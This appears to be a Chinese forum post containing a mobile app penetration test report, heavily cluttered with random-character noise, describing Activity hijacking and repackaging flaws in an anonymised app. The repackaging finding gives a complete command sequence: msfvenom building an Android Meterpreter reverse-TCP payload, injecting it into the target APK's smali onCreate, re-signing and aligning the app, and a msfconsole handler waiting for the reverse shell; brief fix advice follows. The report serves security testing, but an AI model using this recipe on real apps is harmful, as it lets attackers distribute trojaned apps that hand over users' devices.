* v/ {" L; r7 \; p* [" q6 ^+ X' E! C: ]4 W8 v* _, M2 s 1-2 测试结果 / [/ s9 U' f% s4 P $ {9 B4 D; r+ J: ?& I& w

& o* J" D' [% z& l/ J* o- |+ [ 4 `/ e' M: a; j# w. S7 R1 c

. s& |' I' y: t3 U* D4 { ) N: L* M8 V8 \/ e' p; `" b2 G   $ h7 N- B: o; G1 R3 F 6 J4 f+ B, X1 U6 X: E- ]

: {: e. v2 }; p V* E7 ~. H9 J" _' y ( D3 s% m, x! @! V. R

2 J* q, ^) W% O# k4 P + c C6 \& f+ X+ P/ C" `+ `' C 2 检测结果                    ; Y# W4 | G; R1 N. f& f# J. R4 F) Z! w; s1 q7 Y5 t, d1 K

# P" q0 d2 w$ l8 o( p ' v0 D) K9 t) U) _. L( G

) B$ \) {3 s- [. N 5 B6 J7 h( D% Y& B% U5 [ 2.1 某某某 2 R5 g# a! G! O 6 l& _( f, J; d: n% b/ v8 M! b4 g# Q

# D; J3 ^/ q, s- m. p1 O7 [0 ]3 G+ q3 e

4 M! n" h! {9 C5 { , A7 Z! K: W9 |3 D 2.1.1检测目标 ; F8 a4 S6 O- \: V+ Y; `) M & }. G1 W8 x! U) |

! T! K& h: q. w. C9 a+ O9 u5 ?; r% @0 l* B" E3 W# F2 y! `

) I; t* T0 c0 n, P3 H& D, s1 ]6 m7 g& W, h4 B G9 e1 ? 目标地址: 某某某某某某APP ' P2 K/ ~3 a8 s9 q , Q* R8 t" v r' a4 G

3 X) E. K, @$ `4 h 4 m5 p/ L2 Z, H c4 ~

; G1 ^5 }- u% p- u Q% j/ @2 n4 }+ k4 N" j* L 2.1.2检测结果 . u; S5 I$ O5 ^7 a) l% y . O: c$ p) q' l8 m7 S9 M( q: Z

1 ?. h0 D* H/ R, V* u1 D* z # H0 O" \5 |+ }: B

/ u+ \+ \/ G0 I9 ?2 n- N1 t/ y+ X# G- x3 o/ T; C$ C 2.1.2.1 4 f, \+ a; m# K& ~2 V5 }+ R 9 o, @2 V: r9 f

, N6 S' W1 z; K1 Q9 d. m 6 b) Y0 T" O5 q, [* }9 t+ I

( K1 Y" M; N- N7 ] 9 G0 f8 ^3 ?( m 漏洞链接地址:某某某某某某APP 0 p+ ]1 r: f9 W- b9 ]/ G 4 K6 u$ Q3 T+ y, i1 e

5 m7 _' R& Z, E: A: ] , j/ }9 c- T2 ^. O( l% o! s

9 {: K. _2 M) n, h8 } 7 g& ~+ I& s" o) z6 H/ Z   + j9 K* a+ _# ~& {4 G' {2 X8 h/ b. E' p* Z+ }

2 |2 \3 h( j. n f" N3 q1 m T$ H: j1 [4 C- K' z

, ^% c3 U. l+ l& @ 9 S+ p3 N+ c" | k3 @# m 漏洞分析及取证: " @7 }' h6 q- Q : H. w( L) A8 a

* ] k$ b, ]& R5 Y% f9 U - G8 w- Z/ V0 b& M# Y& ?9 S) T

" H, f8 Y) f! }' W) u" R$ J 7 e6 [/ }# @1 I& @' \/ H                  通过androidkiiler反编译,发现app未进行安全加固, Activity com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图: , J) V" J o: W. D( f- s ' S+ f+ X/ D4 `( s

( [2 w5 J/ a( q3 e) R d / v$ W- E% a' K- Y6 Q- Z

1 \- y- M$ N5 t$ N$ F/ F& U e+ ^7 G9 g- U# N' Y8 [( I      3 c! C( V; @# D* T4 Y4 R 3 ^) ?7 P* Q' d6 @+ T

! k5 C2 T, w. d# D3 [: n+ q0 B " f2 `3 i9 P, c

. R5 S6 \" R/ u8 b9 g8 H 0 Q) w8 c/ C& x3 o/ e                       , R+ U5 y# B2 [+ d! \0 f ! B5 C# {! d8 O! Z. ?7 V

3 ^: X, g8 o d! A % S+ j1 _3 w; b

0 a- f1 \' F9 s ' M! V- R# O& |! t5 B * A: {4 k, R% \1 b6 N' L( B 2 c& e9 W6 _1 m& b4 A, Q

, I% v) f! o6 T& k/ ]& F7 u 9 a- A" d2 G! V% Z

& R! K d* k R& t. Q/ K9 ~! h& @. I9 l / }2 V. ?2 U: C0 ~: U $ Y }0 Y7 ~/ J9 I J- e& ^& a

2 F0 p6 @% @* p7 e2 [' }4 @+ y* B 5 ?% [- b9 t0 K7 [1 I/ p1 P0 K" q

3 @0 {- _$ Q: Z& q) y! e# ]6 w4 }; t3 e- F2 `1 {* \ - u/ [. h5 f/ I- w' @8 M& h 9 w M. k) \6 c. Q, b3 P' a

- h, K& V! R0 R) V / w+ s6 W8 F: J0 S" T

: ]$ L* p+ G( I* ]/ t 7 R7 N9 P& f6 |3 @- l 漏洞危害:高 / V1 j7 D5 j4 Y' |3 g9 ~( t9 W- A. J! m, }# q

9 [; @0 A+ q( W7 ` 0 [) d% M9 F! G6 A5 M8 G8 s
5 E$ @, [9 f+ d4 y: j' j; | - F2 _4 F8 F i% a ( x3 X( v8 |: W% z( z4 ~% o4 m* H2 N/ r3 Y- \4 M( S2 P- ~; r9 \, W/ X! B/ E, d8 p; ^1 y; y2 a; T" A$ W+ ~- V- t, b, M7 [1 _, z7 f1 e" o8 E0 x! L7 o4 q8 @( s0 w8 V; Y* \4 c( y* B7 c# g; Y5 ^ y- `* w) H5 M* E- N- H9 M$ Q8 l! f1 z% j! c* V1 U- R' w% o* \* \ V/ l2 N. s7 a' J! @ f6 {- z0 G C$ Z; q' v1 I" Y2 K6 L% C9 O* _( ~6 d' n3 s* y5 X" _8 E. {% U1 E ?+ C& y. |- |# `; Z1 c! P+ o% h5 F- Q$ H2 ?) @# H( n1 O& [7 }5 Y) g1 L( f. s" @1 G3 J0 a2 D' e# X$ p1 @; H f* F8 Y3 f! x2 r v. {# t ?: ~% c4 R, C' z# A1 M R. B) j# h, i8 o+ P' d& C3 v7 R# W9 {+ t0 v- k4 w9 e6 g* C9 X+ l t
R5 o* e4 m& Y6 r" B 5 ^# W, [. G! V- [5 f( d7 H( L& ]

& W9 J5 l$ P6 ^; w# \, H3 J , F9 J5 Y: Z- X 严重程度 ! t5 S* h; x0 e+ D7 B' | 4 C. S7 ]8 e" C! e! L* \. b$ N' b a

1 G6 u8 I3 O7 l4 j; A / h5 E8 A0 [* l* C; ^3 b& |: a
* g/ l' b; y5 S* v1 y& d ) ~9 }+ N: L. o8 S1 u# K

: l1 B @8 Q2 r* O o/ Y+ A/ L3 K # o, h0 H/ @+ K7 D0 ^ 5 I3 A0 k1 y( A4 z 5 X! \$ \9 S6 g5 r

0 W; T* t3 F7 t) v 1 D+ H6 ]& v7 t
. v+ i, G4 G. w0 _" T6 q7 m% O7 i' x6 K5 }4 ?. C M& F

! `- H8 }# W0 R) E$ e. ] / S# m9 J6 Q: I: Y2 ] ; O. I2 G8 g2 k6 k0 `8 y9 c ( K2 C* }/ o: l# V

' b. W- \8 _2 W0 ~; z3 \% E- u' k$ h: |# M7 `3 N6 w) k) Y3 J
3 E+ G2 F7 J5 @- K$ M * V- P0 h0 l. V2 m! S# L: _

! y5 I; W0 k& L5 y' u ( K: ^ c- M9 c! M+ B$ \ / x" v1 b x) H3 e) R! [: ^: l" j1 B7 e0 i, b- \

- @' G' c1 e* Z4 ~- ]. R/ Q: a - N0 p) |& W) S7 S
# Z0 A2 T' P1 D ' P6 K2 k) _0 u# x8 u X3 `* z

& {, v: c' H4 [# [/ i 3 n. l3 I, A8 r7 S4 |   / R3 s9 a$ c* O3 S) ?1 K L / k/ ?* x& C8 ^& X0 n3 c4 l9 w" m

3 S* t5 M9 s& G9 U9 Q7 y8 y7 z3 |
: n/ ?; j+ C: \) G' C5 d( f" `2 y ; ]5 n, s3 {3 h: q

a, F$ T# E" W& C 3 o. F6 @- T% s0 l6 }; s( I0 I $ b. M& |( i- x2 o$ V $ A( \) ~1 ` ]' ?" G9 {

$ w$ j' h* C7 W$ w& R! e* B: ?9 h% {* ?; T) [" ]
! _. R' h7 _( E * t. W. E, @/ R% _8 O5 X

) |( [* s8 u4 r6 i+ J+ ? ; {$ W" [8 r5 a' B1 X   8 G3 N' b# y2 ^- I $ V# e; K3 B0 j/ Y) ]$ t+ f

. {7 h4 n f5 Y# u7 z& ]. A + \7 {5 J+ f( Z5 L! t0 i1 E
. @& S _, o" ^2 W' N% E9 T' a8 r / z. e/ v5 y9 u. P
6 T5 F1 {5 x% J) z1 ~6 _) L* l, w8 B* p1 W

+ L0 J+ c& d) l! p' b # a& X, ~, s( T1 i- e k. N   6 m3 n- P3 e8 A ?0 m5 p. K+ F 0 z5 S7 e( _2 r0 m* p( s2 i: Y! ~8 r

$ R% }5 j, {/ N e, n/ u& K& K. ? 9 i- {: i5 |" Y3 v' f+ P

" ]6 K$ f5 A; K ; i, w0 l- e) h6 V) x 修复方法:在 APP Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。 2 z" M: Z% v) r* e8 Y5 ]- }$ B 5 U4 I, ]7 x3 a8 s. u

0 j4 k2 z) ]. y0 n" n0 c3 g' w0 U; N" J) Y. P% E

+ M7 F3 `: Q' ]! e- }1 R5 c$ T , ^, N& f: I% O5 a' w w0 H$ }           , x' _! \) M) h) I& I$ `$ ^) Q" G; i% k+ _

' Y3 F; e% X5 V 1 O# F5 _& |8 Y. y E

# H1 g. _( ]: j( N" K. k ! A/ E" b8 G% v$ G% k1 A# X0 P   P @6 b4 K8 ^! O+ t% m/ @$ s8 N) }+ ~* f* R

8 s# r& `% p {/ e [ $ }; j. t5 T( Q4 E

5 e( s! S# b! m" P2 @7 A. b0 o" Y* T" j. P2 m1 J 2.1.2.2 * b( s. p4 S4 L/ ^9 U- n ! R" V( L1 F% ^4 r, r2 N

. v1 Y+ A) H: m5 K2 x4 r. i" g% ~9 i2 r9 n, Z$ U) c, Z& q: N

- s' I; F" j& u 8 M: s V3 q. V 漏洞链接地址:某某某某某某APP + S4 B1 ]% ]# T C2 k5 t# k ; u& E# c" A( h, Y. q" V* o: d- B

# r {: U) c/ g; P/ G9 S , K5 ]* n, j& p q

4 s2 _* ?6 m. d% a; ?* O6 Z , p$ x* I$ O5 v: P, j- k 漏洞分析及取证: # {& I$ d; h4 i! t% U# M% ~ ) d1 {- F9 f) r0 o5 C8 R) g- J

7 W+ q; B1 V9 G" f ' G* Q/ H; d% u, U" @

8 | J4 H# I/ x/ Q 3 W# }: n, Z( n! ^                  通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下: 6 i5 s& ?) S( s$ I0 D ( b- A' e! _" r$ y" o1 w

( J2 S- X$ f2 L, V " p: ~ ?$ z- w& t- g

( Z {* R y1 x- k, w% f3 G# Y5 Z1 D) Z5 Q; E Metasploit 生成木马 apk 5 C \# `6 r& R4 c3 Y& w8 J4 p9 Q + ?. O- S I' x& }8 C

$ n5 L# J% D( R$ q6 l! l, ? " T: G& n* Y$ v# l* h; w6 e8 g- H

( H3 H8 H7 {, R" [. C ` ; B* D2 H! p, Z' I) J5 V msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk ' g0 x+ ]( z* B. ?- v! \" k% Y9 J* }' H3 s0 J/ `! q8 B- n

; G) d% l) l+ @+ P7 C . r& a7 a+ v- m5 W

5 c5 U: z0 M# k# t7 t* w0 R& V! \- l& R 反编译目标apk和木马apk " [! r% r& Y. \+ u4 A4 M 8 n4 }5 [1 }+ D7 M+ {

4 s( |* B3 ], V- h% L- P k, I6 i3 N: Z8 k6 p$ D- s# \* W

8 @' `9 H$ Y% v; a5 [8 K( G * |) D }& N1 U7 H5 z" R apktool d target.apk
, n' ?$ F) g8 ~2 K$ G: O' m ; b. E- K2 Y5 | B7 t" _& p) K apktool d cockhorse.apk
$ h5 C4 z5 S; [5 T3 `8 m5 m- X: P7 v3 N' l" \% f/ L

- Z" Y0 S8 V: V. `) m- r0 T6 y! |: D' N3 C& {

' o5 V. `) t6 `7 ~ * o: X4 D8 w8 w6 J 木马 apk 注入目标 apk / J1 T' F+ o6 P! o' W$ i - f4 f* y! ?7 Y, }

! A X1 C/ ^' t/ a4 V4 C" o3 }; D7 [ ) ?# D6 W* y) z4 W# L1 ]4 Y

3 o1 r2 Q; f2 F6 b& e / f- E& o0 X2 h) t$ f 在目标 apk 反编译生成的文件中找到启动 Activity smali 文件,并在 onCreate()方法中添加如下代码:
* a* N$ Y+ J* D$ G. f7 } 3 Z# C% n) L' ?. p invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
! _& H7 m L7 P6 N, ] 7 L8 t8 G% B0 m1 w

& K5 u6 _5 @* z+ L 9 H- l& p9 O* |0 X" E- ^1 j

8 ~8 L# J. {: L( J 7 w5 r4 K4 @) T2 E) L9 n 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复 v( A" [& g5 c9 K+ G% Y3 l$ T& e; m

3 k2 L; ^, h k 4 v4 Z" c1 H' a. R% p' J

' X% B2 |$ g! ^; p: G" V # r: [% s* t/ M* r; f9 t+ _: k 将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 8 ?. b5 H, F( B9 Q- E, W# o2 d( N( p- Q8 V/ R# }4 v

% c3 G. R$ Y' Z* Q4 f' v" U8 L$ d) M- i8 D ! o- n, Q: ~0 ~; A8 S4 O4 g8 Z, P

6 ~( ~: w# s9 [* [ \ Y( ^ c ' j" ?! v# Y3 j9 u2 x 回编译生成最终 apk y/ [! l9 |4 Z" D2 m# J) X: h7 z( Z1 E' H

" y6 C3 A# u- v4 F5 m" e4 M' n, Z9 O, C+ v6 P% Q* o) V& O; ^ ? h

) I8 B$ P. @3 `$ U3 g " p- t$ z& w; q 重新打包 $ H3 }7 L* i: I 0 ], i! A. M% g$ j( j

9 d1 R8 n% h3 i& M! u& Z* t 6 \; }( k' ^8 V% w

6 z5 S! t# u& v2 I: ?0 i/ W/ C* K7 v$ u apktool b -o repackage.apk target_app_floder - T. T6 R. R1 ] t) i3 @ / q5 ?, u0 ~4 `6 K6 f8 a9 d

/ h& w/ S/ {: E e. Z% W4 ? ) t1 ?, N) w H& h2 T0 v7 J

7 C4 j' c4 h) D+ Q$ }( R% X' B. B7 i: c5 [, ~. o 创建签名文件,有的话可忽略此步骤 : b( i& c4 i7 u" S$ q5 Z6 J . k) C7 T3 j* q/ L1 l. V

" [$ ^' Q5 W! s3 T1 d* y8 U; E" m 7 S& i# y1 [! N6 W

* A7 V4 Y+ ?. ~* U 4 I0 U9 C) l3 a) Z [+ G keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000                % r8 P. C( L$ C2 `' r& U ( q# t8 {- r' @' j$ }

% ~& V/ Q3 O; T" Z- Z 8 \' @- _, }9 d: E' I4 H

( V* B2 R/ @& o4 U7 K1 ?/ \ , \8 _- i' `2 y6 ~1 b 签名,以下任选其一 k# \, k5 O9 C! O$ n1 U 2 o! k) p- ?7 D8 H' t- i) q* U

" Q; t( R+ g3 `: c/ u ; e5 K, b6 X8 H* S% I' ^ K

. H, {' U/ t3 E) l; d 6 B2 V9 \; H# ]8 X, a+ T jarsigner 方式 " s$ s2 E( Z) X8 v 1 L1 y" x( [8 A

$ I2 U7 T7 j9 |# T0 x. n) n 9 J- c3 ^# o, G E

5 |( }" A2 T' ~) M1 V7 u* m 9 k% d% _2 s4 v3 I) a0 d jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname + \. B. e$ |) \5 I, y9 \9 N, v& B ?* u& c* P1 _, y) F j/ g1 j+ {

8 U$ X! j: {+ T % W, H2 ~7 G* ?+ f

7 X, i: G8 j# n, s5 @4 p* t& y4 {& M! h+ q- l apksigner 方式 - [, G, e( Z3 [1 L) S5 v- u / d; ~- G5 L; q D

% Q( Q4 K' g+ X: r. ?9 W K. n7 K 2 p# h; k0 ^# M: H

) Q% E! P. x* ?. g7 O* z; k9 |" Q+ Z8 e" {6 `: R& m" ~ apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk ' X0 j- w8 E* z/ ~: F! k 3 O' w, D4 ?' N% }4 H( W) o) w

: P; v2 [" g" G" s, D- i, x. O9 Q! E5 _" X' J& ]: d' S4 U0 Q: |% u

; }' v% w' H2 U7 r$ |& K ! \, l% @- c0 v+ u. `5 j 如需要禁用 v2签名 添加选项--v2-signing-enabled false 2 N# j# Y. j: k : E5 w: Q0 C. d$ A b

2 p8 S( @/ ~; w' F( t 9 E- A# H9 x6 j0 a8 k. s3 r. z

# M; d3 @# Y4 y/ J4 ^ ! i, w, G# p/ `) p: D 验证,以下任选其一 ! K: x! k* I" h' }4 q8 i: j5 G* ~ n! [9 i6 }( q- h+ {+ Z

$ }3 x) w& t* r% A 5 N5 I$ X, J+ \7 ?! ~8 U

/ Q( `* w$ q5 H5 w : d5 J0 i1 d$ U/ M0 F jarsigner方式 ' t* Y) V( r3 K1 r2 Q % X( j3 D' l2 l+ a

t8 i6 Q& q* f8 ?' h3 Z ; ^4 \ H8 X M: }' M

0 N, x# a. r D( U - K$ P4 ^2 J3 s' W3 L. G" @ @( ]- m jarsigner -verify repackaged.apk ! s- J( w9 @) M6 y G6 L. G2 b+ n 5 O# |. P5 M4 O

3 m) x) u, l* y/ x5 x3 |7 R& y# h , N. H7 Q& Y- k* c1 M. ~

, T( ~- I+ L) \& o# G' G $ [# ^5 [ M ^. [$ \ apksigner 方式 5 n, i# L) K/ w& U $ T }- i" H5 l g3 m- }

! M- T) b. f' M/ J8 N% _; l : j& f; ^+ e7 \0 k7 o+ T

- q1 w- q7 r; d3 B( i3 N" F: ~% S+ i1 L3 x% {0 G: v apksigner verify -v --print-certs repackaged.apk " ^2 G. g# g6 E B. S5 _) _8 Z0 k* {3 B" h' x8 |- G

! }' e& A' `0 m4 c6 C* H4 J" z - G" Y7 l: u) U3 t* d& t. V3 p

$ F" B9 x" V/ h0 B" k1 r# j) M 3 U Y( n; I/ k( [) a1 c T4 w keytool方式 6 S0 g8 f; s2 |) o, X V ! f1 k- P: @) `* O

" K( Y* m f# t0 u3 S: A' q) T0 L3 M. X5 m2 E1 V% F d; G

% H8 _) W8 L5 X. K/ f9 M m, r5 L' Z7 d( B6 | keytool -printcert -jarfile repackaged.apk 1 Z8 h4 a6 N$ ~0 [ o4 N! O7 Y) R; g5 y/ W6 M

6 Q) {& A) ^7 Q / w* }: H0 u% Q2 Y

. ?. ~! `4 d# T% C- l% t N- C # e, t6 r( L1 p! B 对齐 9 h \9 ?6 A7 K- C7 E9 c : q; r9 f; o L9 F# J2 z

4 R0 i6 m7 e5 T* O' x 7 q1 d6 B" V( ^7 ?2 H' E

' M$ G) R2 {- ^) i ! @. R3 ~$ _, A& B3 l8 \9 w5 i( ? 字节对齐优化 5 _4 z4 p+ r, y' B" Y3 e% g! x' X1 d8 ]" u j; |1 q3 b

9 A- H- I7 ~: u9 N 1 R! V" {) j* I8 h k. S( X) H- w1 }

& R* L, @! k& x% i- G: a' J/ p8 |: o* I. y zipalign -v 4 repackaged.apk final.apk 1 f" Y' j) p; d- i3 V9 ]; m* y( `# O0 ?

9 b N+ i p$ D 0 _( t. z3 l" K. L. O* o! {) B* r

( h6 m+ S% B3 {8 z% e1 a 4 q4 i1 M: ?3 F; c% \1 A7 p 检查是否对齐 ! F! o1 C1 k' k# s" M 3 u. A! U) _6 J+ i7 v5 S

i3 ]4 Y3 @4 c. n4 ]% e9 y7 j; G J( K( z i1 e9 B

8 s& W! n8 y0 o$ g5 n+ z 3 Q5 E; {( s5 e( T! @5 V zipalign -c -v 4 final.apk ! T ]' U v. t. Q5 ~+ N k+ R. n& Q* n l+ S) w* _

y+ A: x: q; c6 [ & i, E# b! l' E) c" I5 ]3 F7 ?

: o T0 K3 a( q; w, ? % q( c* j! ^0 S2 K: ], B" K 注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行 . [( O. _5 O V5 R+ H 6 _# n J$ x8 n2 y9 Q: Q

& z: Q4 [7 o# ]7 c. F / w. l% P% B3 Y9 B1 u* |

' ~- b! [$ \- G. K: r" o0 c3 Q; J1 N2 { 启动Metasploit控制台,配置参数等待上线 $ k* |; y6 f5 g* }! V % M, Z2 A6 g8 P) X! I! D0 o

3 W: O/ U3 R$ f5 `' E . S. C$ q8 z3 X' o- D" R

# K" u" Z$ S* o' X/ e7 K/ M& [ + J! r* e g1 S4 R0 m 在终端依次输入如下命令 - o7 \- o) ~! @* t4 h 9 f; x l% D8 q/ @9 H; V" m' y# a

% d6 t, B0 a: y6 B: a5 Q) u0 ^ ! Z/ B/ M0 C6 l* ^% U8 |1 G* }( O

7 X1 ^: n' e& B2 L/ W 0 j( g$ S" t4 K0 M. P: j N6 o, v7 @ msfconsole " h2 t: c9 W4 c; q; X" t9 [) n% o - J% V+ g, N' a0 y, H' U; ~

; h* y" l3 k0 N8 | * k! w0 }- M1 u* l9 n/ n# s

. E/ n* A9 y' [* D3 n, f . i1 {, S% r) ]& N6 v$ J r2 S' O5 K use exploit/multi/handler 9 C" `$ _/ q& p a, u 2 S& R% q7 A' v& ]+ |9 e' ]1 T

5 [& E" J: j% O3 _# m/ a! i + i# ]. J1 m6 @9 Y7 [

( ~) S1 S% L4 f $ U& x: B1 U4 a6 c& S. _ set PAYLOAD android/meterpreter/reverse_tcp : t9 @: m" B, q" R: C2 S0 k # m3 a; v- L1 f

: F! Z7 K- f: }' K ) i7 q; b& v! L* f, O7 j! f

0 c( l3 W- R" O i6 x# G( s3 ~ 7 y2 H/ J8 B7 I! c set LHOST 192.xxx.xx.xx 7 Q3 }, ?" W% V. D' ? - b, q" c+ H' y" D, d( p. C2 ^

: } G8 u. Z5 _6 ?, _ 9 @! @0 l0 G+ s* j) `3 P- M' }0 O/ v

, ?1 S N3 E2 R% U+ R9 v8 ? ' Y- t( K2 S8 n/ `& d2 g set LPORT 4444 ! _; h$ W$ i" I$ y& ^ & q* n) C* I& A! W* u4 P7 y5 W R

& i0 H+ S9 a( A4 j$ C- q3 ^ ' w: i9 n" j) |' W+ t) Y7 V

0 C5 N3 e# \# ?( S5 X ! z: _) ^5 b6 \& I* V1 c4 D& ] exploit ' Q, p. Q: M% E0 H' v; V5 z0 x% J+ {& n4 @

0 j5 C7 V/ ^4 D+ }' L" ] 7 g; b$ B# h! z! \, Z- o

$ V% C2 [. v: [! ^+ f+ W( d, B( H) Q+ a' U 之前我们把入口放在 MainActivity onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:               8 @+ _3 S1 W f. b( I# e" p / T0 N% ?. h' ~

2 L |& K( A7 s6 u, M ) a1 h, ^ S& \$ i' G, i

% O& y5 P0 C Q; [3 f# M( \% D* S w( N# L7 S8 r6 w7 |2 z 漏洞危害:中 9 l7 c* @1 a% j z- p8 L/ ?8 M. O7 q ]# I

* B" `: \4 ]9 R' w1 Z2 W& x0 h * t! k) s% Q( U7 p4 g g
, M. R& B" C" S $ j# l, B4 _: P* l, d, h 7 W* N' x! @: l; H$ s! m. l $ F$ a* C# m: T9 k # W4 F- }8 G, E2 G! Q0 W" h# N& t4 t- s1 P, j$ q) w( ~% y" \. r& U4 E/ X" U# G' D, d: X0 D) H. X0 j2 y0 V+ T" @& u7 W: M) B& F- r/ G( n& V V: T- R+ t5 V: Z+ u2 G3 o/ x o8 O, L C7 t' @( j) i5 f! k; A" j" f: I( _' t# f8 C B+ Y* K3 h, _& m- B8 Z9 R) R, L, a+ H$ K2 \" g/ u* z- d$ z4 a, c0 h4 g% j1 \4 E% [! | n$ T T2 m5 k: J. ^7 R0 F0 F5 E. e5 T# ~' R8 B* I t- t3 v& B+ f3 c" l# s p" x8 C9 O) P& x o7 I, V7 v$ j' `2 z' I4 x9 c- H% s) A/ L* p2 R! M6 Y$ e+ O% P, y1 U$ R# I, M, k$ m) \ \5 S2 q+ R$ u: N9 ~* J! Y9 q3 e( R1 r, b+ \! |; e' V Q7 @4 A! b
! L$ t* ]. B% \# D : \7 F! ~7 {1 E0 b9 U0 q

. U z# r L& Z3 i + t3 V3 U; C ~, l! n/ L' x' T 严重程度 7 L( w! h( F6 T1 v4 O1 i & J9 t8 j; g5 F/ Q

3 K' o; i$ |2 c- c0 ?% l! H% P; }) Q1 N9 k* x8 y" I
6 D9 e! ]. X! V' ?9 d H- s( ?9 E' v: b) V9 w

3 m3 f; w; b8 J / g8 l. K( R5 j1 c 6 |2 {) d" J) v 0 J: d2 o% ?! d" l! A( A- m

t7 _7 E* _; F ; D3 B# O* j- r! S5 t
. e( g5 P8 ], R$ ~; ^ 8 \ f ?9 m3 a, W" |

' w, L* U9 k5 Z9 V. O8 z& g C , H8 l2 l' }9 a, @ 1 m% ~4 S$ L3 M5 } : y$ T; U/ Y' B6 Q* `

4 H/ a6 ^% H0 o; d# Q% H0 K! G + x% i, h' u, ^# B# e
8 X" B. _ s( R , }0 r' H. Z8 w' Q V2 r

8 j% ?. P! i. i0 {( Z: r3 V2 J 4 ~: C5 R1 F: o2 [" h % l5 e/ }3 b$ x- T' d7 | + {; D+ b9 Z( P; F5 K* A

9 R) b6 k/ ?& s, X4 _9 [ ' v) {! F. @6 r1 E9 }& F. U
7 K0 `# @% j6 {, a 9 L5 ?7 M3 I+ p- c* O5 u- r 4 @% l: X9 m8 A* H; [6 E- E1 ^& P- Y8 O1 P: N' D

9 T! {8 a$ ~5 X+ T4 U% A0 o+ l! R 8 _$ v. d) ^" B   ) j& T8 T7 K! ]' k8 o8 b- V+ _ f . `, i: Z! [8 T; o* H

: D0 g8 n, z3 R# k1 V6 j' n # p" A# ]* M# M
1 l( p: I* t2 v! ]- C# { ! [. W) k H4 g

7 s. Y0 C* v* B0 r* S' s& c & G- b' ~( U4 M+ W7 `& { 7 C2 e) t7 ?0 J3 B' u$ ~7 Q" V: v6 [+ B9 u) I, V4 P$ `

' u7 V6 {. J' Y0 \, X V! } / c4 A+ P; }1 b+ y
' ^8 @% F9 o) }; ?4 I" B3 d7 @+ U# h% |$ n$ @. `5 U ' p8 n7 J9 ^& D + W: n0 }9 Q1 X/ \" @( z* l8 ]

$ o0 R, x9 L. r' h( l2 Q- q' i Z! U0 f' e7 U1 H5 w4 y3 f+ b   ! _7 h4 I( ^1 p6 d( F3 y, Z1 ~) L4 [ # j+ Y5 Z; X$ j) _0 |7 J# U! q5 ~

6 s4 `. h4 Z/ H1 w( o i( Q. G( k) V" E- l5 l8 c* f* x
' T, b4 q0 c) g( o- c4 u % C/ C% M' t6 m) a" ^( i$ w4 ]
% G9 f% f" ?& b/ k 7 U" {& P3 P4 D; g: F% a; c0 X

: L' e2 \" t5 A2 F 5 S. Z2 D( d+ `+ r7 f5 Y9 A   , [; F( ]8 V( ?5 V( ]4 X B , b' _8 X, F- F

5 }2 e- t& f; B5 U: {: H" `0 y9 v2 ~4 b: H2 R

. J! t8 @ \5 Y4 M' Q6 w! f % j$ a7 G q' T6 q* T 修复方法: ' P g2 N7 a) V; t. R5 x+ o - J9 h5 X$ c* i- t' v4 c) y7 D

* w; _4 ^9 e. x% l1 K$ x+ o0 h/ C9 P$ k$ `- O

1 C$ ~/ T, D5 \- W( l5 z/ E + _) ]& C2 A: [ I2 y% G8 y2 [               1. APP 启动时应做签名校验防止二次打包。
: h! J! x( V( f4 W% \ 3 p, F k" f/ Y1 c7 Q0 |; |2 W( u 2.
建议采用客户端、通信和服务器端联动防御方案进行安全防御。 % T U8 S/ S+ w" G( O & {% Q* d6 A' ]9 p

- U- D4 `; X; c: Y; ^/ ~+ o- M; e+ X : o- ~2 Z [6 Y. k 4 r' _5 `" f/ Y' q4 p

8 N5 s: F4 F* p$ r2 A2 v; ^ / }* y1 T& A- i1 F7 _9 R' u# i   3 u/ s K H$ U7 t) g) ~1 q2 A; m( }1 Q

+ W& O! @0 A6 \1 k* X $ d7 b; W# n7 w* O% w% @3 h ; d6 B2 i& s; V) u - p8 W$ Q N4 K# e2 z

% i7 \! O5 A$ r$ @9 A* u) P" U; Z! l1 u+ |3 e9 U; V$ ?4 R! o
" J+ p, D8 B8 y8 E6 N" @" e - Y& N% h3 c S [

+ }- R6 l, J$ V( y# s4 H0 U. n 1 U, X0 T& A+ q$ w% U. z
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表